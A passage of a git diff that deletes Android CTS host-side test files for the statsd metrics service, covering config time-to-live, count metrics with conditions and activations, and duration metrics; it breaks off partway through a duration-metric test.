-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
deleted file mode 100644
index 7022732..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metadata;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.os.StatsLog.StatsdStatsReport.ConfigStats;
-import com.android.tradefed.log.LogUtil;
-
-
-import java.util.List;
-
-/**
- * Statsd Metadata tests.
- */
-public class MetadataTests extends MetadataTestCase {
-
- private static final String TAG = "Statsd.MetadataTests";
-
- // Tests that the statsd config is reset after the specified ttl.
- public void testConfigTtl() throws Exception {
- final int TTL_TIME_SEC = 8;
- StatsdConfig.Builder config = getBaseConfig();
- config.setTtlInSeconds(TTL_TIME_SEC); // should reset in this many seconds.
-
- uploadConfig(config);
- long startTime = System.currentTimeMillis();
- Thread.sleep(WAIT_TIME_SHORT);
- doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, within < TTL_TIME_SEC secs.
- Thread.sleep(WAIT_TIME_SHORT);
- StatsdStatsReport report = getStatsdStatsReport(); // Has only been 1 second
- LogUtil.CLog.d("got following statsdstats report: " + report.toString());
- boolean foundActiveConfig = false;
- int creationTime = 0;
- for (ConfigStats stats: report.getConfigStatsList()) {
- if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
- if(!stats.hasDeletionTimeSec()) {
- assertWithMessage("Found multiple active CTS configs!")
- .that(foundActiveConfig).isFalse();
- foundActiveConfig = true;
- creationTime = stats.getCreationTimeSec();
- }
- }
- }
- assertWithMessage("Did not find an active CTS config").that(foundActiveConfig).isTrue();
-
- while(System.currentTimeMillis() - startTime < 8_000) {
- Thread.sleep(10);
- }
- doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
- Thread.sleep(WAIT_TIME_SHORT);
- report = getStatsdStatsReport();
- LogUtil.CLog.d("got following statsdstats report: " + report.toString());
- foundActiveConfig = false;
- int expectedTime = creationTime + TTL_TIME_SEC;
- for (ConfigStats stats: report.getConfigStatsList()) {
- if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
- // Original config should be TTL'd
- if (stats.getCreationTimeSec() == creationTime) {
- assertWithMessage("Config should have TTL'd but is still active")
- .that(stats.hasDeletionTimeSec()).isTrue();
- assertWithMessage(
- "Config deletion time should be about %s after creation", TTL_TIME_SEC
- ).that(Math.abs(stats.getDeletionTimeSec() - expectedTime)).isAtMost(2);
- }
- // There should still be one active config, that is marked as reset.
- if(!stats.hasDeletionTimeSec()) {
- assertWithMessage("Found multiple active CTS configs!")
- .that(foundActiveConfig).isFalse();
- foundActiveConfig = true;
- creationTime = stats.getCreationTimeSec();
- assertWithMessage("Active config after TTL should be marked as reset")
- .that(stats.hasResetTimeSec()).isTrue();
- assertWithMessage("Reset and creation time should be equal for TTl'd configs")
- .that(stats.getResetTimeSec()).isEqualTo(stats.getCreationTimeSec());
- assertWithMessage(
- "Reset config should be created when the original config TTL'd"
- ).that(Math.abs(stats.getCreationTimeSec() - expectedTime)).isAtMost(2);
- }
- }
- }
- assertWithMessage("Did not find an active CTS config after the TTL")
- .that(foundActiveConfig).isTrue();
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
deleted file mode 100644
index a63e01e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ /dev/null
@@ -1,433 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.AttributionNode;
-import com.android.os.AtomsProto.BleScanStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.CountBucketInfo;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-import java.util.stream.IntStream;
-
-public class CountMetricsTests extends DeviceAtomTestCase {
-
- public void testSimpleEventCountMetric() throws Exception {
- int matcherId = 1;
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setWhat(matcherId))
- .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
- uploadConfig(builder);
-
- doAppBreadcrumbReportedStart(0);
- doAppBreadcrumbReportedStop(0);
- Thread.sleep(2000); // Wait for the metrics to propagate to statsd.
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
- assertThat(metricReport.hasCountMetrics()).isTrue();
-
- StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
- assertThat(countData.getDataCount()).isGreaterThan(0);
- assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
- }
- public void testEventCountWithCondition() throws Exception {
- int startMatcherId = 1;
- int endMatcherId = 2;
- int whatMatcherId = 3;
- int conditionId = 4;
-
- StatsdConfigProto.AtomMatcher whatMatcher =
- MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
- StatsdConfigProto.AtomMatcher predicateStartMatcher =
- MetricsUtils.startAtomMatcher(startMatcherId);
-
- StatsdConfigProto.AtomMatcher predicateEndMatcher =
- MetricsUtils.stopAtomMatcher(endMatcherId);
-
- StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
- .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
- .setStart(startMatcherId)
- .setStop(endMatcherId)
- .setCountNesting(false))
- .setId(conditionId)
- .build();
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setWhat(whatMatcherId)
- .setCondition(conditionId))
- .addAtomMatcher(whatMatcher)
- .addAtomMatcher(predicateStartMatcher)
- .addAtomMatcher(predicateEndMatcher)
- .addPredicate(p);
-
- uploadConfig(builder);
-
- doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(0);
- Thread.sleep(10);
- doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
- Thread.sleep(10);
- doAppBreadcrumbReportedStop(0);
- Thread.sleep(10);
- doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
- Thread.sleep(2000); // Wait for the metrics to propagate to statsd.
-
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
- assertThat(metricReport.hasCountMetrics()).isTrue();
-
- StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
- assertThat(countData.getDataCount()).isGreaterThan(0);
- assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(1);
- }
-
- public void testEventCountWithConditionAndActivation() throws Exception {
- int startMatcherId = 1;
- int startMatcherLabel = 1;
- int endMatcherId = 2;
- int endMatcherLabel = 2;
- int whatMatcherId = 3;
- int whatMatcherLabel = 3;
- int conditionId = 4;
- int activationMatcherId = 5;
- int activationMatcherLabel = 5;
- int ttlSec = 5;
-
- StatsdConfigProto.AtomMatcher whatMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(whatMatcherId, whatMatcherLabel);
-
- StatsdConfigProto.AtomMatcher predicateStartMatcher =
- MetricsUtils.startAtomMatcherWithLabel(startMatcherId, startMatcherLabel);
-
- StatsdConfigProto.AtomMatcher predicateEndMatcher =
- MetricsUtils.stopAtomMatcherWithLabel(endMatcherId, endMatcherLabel);
-
- StatsdConfigProto.AtomMatcher activationMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
- activationMatcherLabel);
-
- StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
- .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
- .setStart(startMatcherId)
- .setStop(endMatcherId)
- .setCountNesting(false))
- .setId(conditionId)
- .build();
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setWhat(whatMatcherId)
- .setCondition(conditionId)
- )
- .addAtomMatcher(whatMatcher)
- .addAtomMatcher(predicateStartMatcher)
- .addAtomMatcher(predicateEndMatcher)
- .addAtomMatcher(activationMatcher)
- .addPredicate(p)
- .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.COUNT_METRIC_ID)
- .setActivationType(StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
- .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setTtlSeconds(ttlSec)));
-
- uploadConfig(builder);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(startMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should be counted. Bucket 1 Count 1.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should be counted. Bucket 1 Count 2.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(endMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should not be counted because condition is false.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Log an event that should not be counted.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Condition to true again.
- doAppBreadcrumbReportedStart(startMatcherLabel);
- Thread.sleep(10);
-
- // Event should not be counted, metric is still not active.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should be counted.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Log an event that should not be counted.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.hasCountMetrics()).isTrue();
- assertThat(metricReport.getIsActive()).isFalse();
-
- StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
- assertThat(countData.getDataCount()).isEqualTo(1);
- assertThat(countData.getData(0).getBucketInfoCount()).isEqualTo(2);
- assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
- assertThat(countData.getData(0).getBucketInfo(1).getCount()).isEqualTo(1);
- }
-
- public void testPartialBucketCountMetric() throws Exception {
- int matcherId = 1;
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.ONE_DAY) // Should ensure partial bucket.
- .setWhat(matcherId))
- .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
- uploadConfig(builder);
-
- doAppBreadcrumbReportedStart(0);
-
- builder.getCountMetricBuilder(0).setBucket(StatsdConfigProto.TimeUnit.CTS);
- uploadConfig(builder); // The count metric had a partial bucket.
- doAppBreadcrumbReportedStart(0);
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(0);
- Thread.sleep(WAIT_TIME_LONG); // Finish the current bucket.
-
- ConfigMetricsReportList reports = getReportList();
- LogUtil.CLog.d("Got following report list: " + reports.toString());
-
- assertThat(reports.getReportsCount()).isEqualTo(2);
- boolean inOrder = reports.getReports(0).getCurrentReportWallClockNanos() <
- reports.getReports(1).getCurrentReportWallClockNanos();
-
- // Only 1 metric, so there should only be 1 StatsLogReport.
- for (ConfigMetricsReport report : reports.getReportsList()) {
- assertThat(report.getMetricsCount()).isEqualTo(1);
- assertThat(report.getMetrics(0).getCountMetrics().getDataCount()).isEqualTo(1);
- }
- CountMetricData data1 =
- reports.getReports(inOrder? 0 : 1).getMetrics(0).getCountMetrics().getData(0);
- CountMetricData data2 =
- reports.getReports(inOrder? 1 : 0).getMetrics(0).getCountMetrics().getData(0);
- // Data1 should have only 1 bucket, and it should be a partial bucket.
- // The count should be 1.
- assertThat(data1.getBucketInfoCount()).isEqualTo(1);
- CountBucketInfo bucketInfo = data1.getBucketInfo(0);
- assertThat(bucketInfo.getCount()).isEqualTo(1);
- assertWithMessage("First report's bucket should be less than 1 day")
- .that(bucketInfo.getEndBucketElapsedNanos())
- .isLessThan(bucketInfo.getStartBucketElapsedNanos() +
- 1_000_000_000L * 60L * 60L * 24L);
-
- //Second report should have a count of 2.
- assertThat(data2.getBucketInfoCount()).isAtMost(2);
- int totalCount = 0;
- for (CountBucketInfo bucket : data2.getBucketInfoList()) {
- totalCount += bucket.getCount();
- }
- assertThat(totalCount).isEqualTo(2);
- }
-
- public void testSlicedStateCountMetricNoReset() throws Exception {
- int whatMatcherId = 3;
- int stateId = 4;
- int onStateGroupId = 5;
- int offStateGroupId = 6;
-
- // Atom 9998 {
- // repeated AttributionNode attribution_node = 1;
- // optional WakeLockLevelEnum type = 2;
- // optional string tag = 3;
- // }
- int whatAtomId = 9_998;
-
- StatsdConfigProto.AtomMatcher whatMatcher =
- MetricsUtils.getAtomMatcher(whatAtomId)
- .setId(whatMatcherId)
- .build();
-
- StatsdConfigProto.State state = StatsdConfigProto.State.newBuilder()
- .setId(stateId)
- .setAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
- .setMap(StatsdConfigProto.StateMap.newBuilder()
- .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
- .setGroupId(onStateGroupId)
- .addValue(WakelockStateChanged.State.ACQUIRE_VALUE)
- .addValue(WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE)
- )
- .addGroup(StatsdConfigProto.StateMap.StateGroup.newBuilder()
- .setGroupId(offStateGroupId)
- .addValue(WakelockStateChanged.State.RELEASE_VALUE)
- .addValue(WakelockStateChanged.State.CHANGE_RELEASE_VALUE)
- )
- )
- .build();
-
- StatsdConfigProto.MetricStateLink stateLink = StatsdConfigProto.MetricStateLink.newBuilder()
- .setStateAtomId(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
- .setFieldsInWhat(FieldMatcher.newBuilder()
- .setField(whatAtomId)
- .addChild(FieldMatcher.newBuilder()
- .setField(1)
- .setPosition(Position.FIRST)
- .addChild(FieldMatcher.newBuilder()
- .setField(AttributionNode.UID_FIELD_NUMBER)
- )
- )
- .addChild(FieldMatcher.newBuilder()
- .setField(2)
- )
- .addChild(FieldMatcher.newBuilder()
- .setField(3)
- )
- )
- .setFieldsInState(FieldMatcher.newBuilder()
- .setField(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER)
- .addChild(FieldMatcher.newBuilder()
- .setField(WakelockStateChanged.ATTRIBUTION_NODE_FIELD_NUMBER)
- .setPosition(Position.FIRST)
- .addChild(FieldMatcher.newBuilder()
- .setField(AttributionNode.UID_FIELD_NUMBER)
- )
- )
- .addChild(FieldMatcher.newBuilder()
- .setField(WakelockStateChanged.TYPE_FIELD_NUMBER)
- )
- .addChild(FieldMatcher.newBuilder()
- .setField(WakelockStateChanged.TAG_FIELD_NUMBER)
- )
- )
- .build();
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setWhat(whatMatcherId)
- .addSliceByState(stateId)
- .addStateLink(stateLink)
- )
- .addAtomMatcher(whatMatcher)
- .addState(state);
- uploadConfig(builder);
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSliceByWakelockState");
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
- assertThat(metricReport.hasCountMetrics()).isTrue();
-
- StatsLogReport.CountMetricDataWrapper dataWrapper = metricReport.getCountMetrics();
- assertThat(dataWrapper.getDataCount()).isEqualTo(2);
-
-
- List<CountMetricData> sortedDataList = IntStream.range(0, dataWrapper.getDataCount())
- .mapToObj(i -> {
- CountMetricData data = dataWrapper.getData(i);
- assertWithMessage("Unexpected SliceByState count for data[%s]", "" + i)
- .that(data.getSliceByStateCount()).isEqualTo(1);
- return data;
- })
- .sorted((data1, data2) ->
- Long.compare(data1.getSliceByState(0).getGroupId(),
- data2.getSliceByState(0).getGroupId())
- )
- .collect(Collectors.toList());
-
- CountMetricData data = sortedDataList.get(0);
- assertThat(data.getSliceByState(0).getAtomId())
- .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
- assertThat(data.getSliceByState(0).getGroupId())
- .isEqualTo(onStateGroupId);
- long totalCount = data.getBucketInfoList().stream()
- .mapToLong(CountBucketInfo::getCount)
- .sum();
- assertThat(totalCount).isEqualTo(6);
-
- data = sortedDataList.get(1);
- assertThat(data.getSliceByState(0).getAtomId())
- .isEqualTo(Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER);
- assertThat(data.getSliceByState(0).getGroupId())
- .isEqualTo(offStateGroupId);
- totalCount = data.getBucketInfoList().stream()
- .mapToLong(CountBucketInfo::getCount)
- .sum();
- assertThat(totalCount).isEqualTo(3);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
deleted file mode 100644
index 65cef95..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
+++ /dev/null
@@ -1,569 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import com.google.common.collect.Range;
-
-import java.util.List;
-
-public class DurationMetricsTests extends DeviceAtomTestCase {
-
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_START_ID = 0;
- private static final int APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID = 1;
- private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
- private static final int APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID = 3;
-
- public void testDurationMetric() throws Exception {
- final int label = 1;
- // Add AtomMatchers.
- AtomMatcher startAtomMatcher =
- MetricsUtils.startAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, label);
- AtomMatcher stopAtomMatcher =
- MetricsUtils.stopAtomMatcherWithLabel(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, label);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addAtomMatcher(startAtomMatcher);
- builder.addAtomMatcher(stopAtomMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
- builder.addPredicate(predicate);
-
- // Add DurationMetric.
- builder.addDurationMetric(
- StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicate.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS));
-
- // Upload config.
- uploadConfig(builder);
-
- // Create AppBreadcrumbReported Start/Stop events.
- doAppBreadcrumbReportedStart(label);
- Thread.sleep(2000);
- doAppBreadcrumbReportedStop(label);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(1);
- assertThat(durationData.getData(0).getBucketInfo(0).getDurationNanos())
- .isIn(Range.open(0L, (long)1e9));
- }
-
- public void testDurationMetricWithCondition() throws Exception {
- final int durationLabel = 1;
- final int conditionLabel = 2;
-
- // Add AtomMatchers.
- AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
- AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
- AtomMatcher conditionStartAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_B_MATCH_START_ID, conditionLabel);
- AtomMatcher conditionStopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID, conditionLabel);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(startAtomMatcher)
- .addAtomMatcher(stopAtomMatcher)
- .addAtomMatcher(conditionStartAtomMatcher)
- .addAtomMatcher(conditionStopAtomMatcher);
-
- // Add Predicates.
- SimplePredicate simplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID)
- .build();
- Predicate predicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("Predicate"))
- .setSimplePredicate(simplePredicate)
- .build();
-
- SimplePredicate conditionSimplePredicate = SimplePredicate.newBuilder()
- .setStart(APP_BREADCRUMB_REPORTED_B_MATCH_START_ID)
- .setStop(APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID)
- .build();
- Predicate conditionPredicate = Predicate.newBuilder()
- .setId(MetricsUtils.StringToId("ConditionPredicate"))
- .setSimplePredicate(conditionSimplePredicate)
- .build();
-
- builder
- .addPredicate(predicate)
- .addPredicate(conditionPredicate);
-
- // Add DurationMetric.
- builder
- .addDurationMetric(StatsdConfigProto.DurationMetric.newBuilder()
- .setId(MetricsUtils.DURATION_METRIC_ID)
- .setWhat(predicate.getId())
- .setAggregationType(StatsdConfigProto.DurationMetric.AggregationType.SUM)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setCondition(conditionPredicate.getId())
- );
-
- // Upload config.
- uploadConfig(builder);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(conditionLabel);
- Thread.sleep(10);
-
- // Start counted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop counted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(conditionLabel);
- Thread.sleep(10);
-
- // Start uncounted duration.
- doAppBreadcrumbReportedStart(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
-
- // Stop uncounted duration.
- doAppBreadcrumbReportedStop(durationLabel);
- Thread.sleep(10);
-
- Thread.sleep(2_000);
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.DURATION_METRIC_ID);
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.hasDurationMetrics()).isTrue();
- StatsLogReport.DurationMetricDataWrapper durationData
- = metricReport.getDurationMetrics();
- assertThat(durationData.getDataCount()).isEqualTo(1);
- long totalDuration = durationData.getData(0).getBucketInfoList().stream()
- .mapToLong(bucketInfo -> bucketInfo.getDurationNanos())
- .peek(durationNs -> assertThat(durationNs).isIn(Range.openClosed(0L, (long)1e9)))
- .sum();
- assertThat(totalDuration).isIn(Range.open((long)2e9, (long)3e9));
- }
-
- public void testDurationMetricWithActivation() throws Exception {
- final int activationMatcherId = 5;
- final int activationMatcherLabel = 5;
- final int ttlSec = 5;
- final int durationLabel = 1;
-
- // Add AtomMatchers.
- AtomMatcher startAtomMatcher = MetricsUtils.startAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_START_ID, durationLabel);
- AtomMatcher stopAtomMatcher = MetricsUtils.stopAtomMatcherWithLabel(
- APP_BREADCRUMB_REPORTED_A_MATCH_STOP_ID, durationLabel);
- StatsdConfigProto.AtomMatcher activationMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
- activationMatcherLabel);
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addAtomMatcher(startAtomMatcher)
- .addAtomMatcher(stopAtomMatcher)
- .addAtomMatcher(activationMatcher);
-
- // Add Predicates.
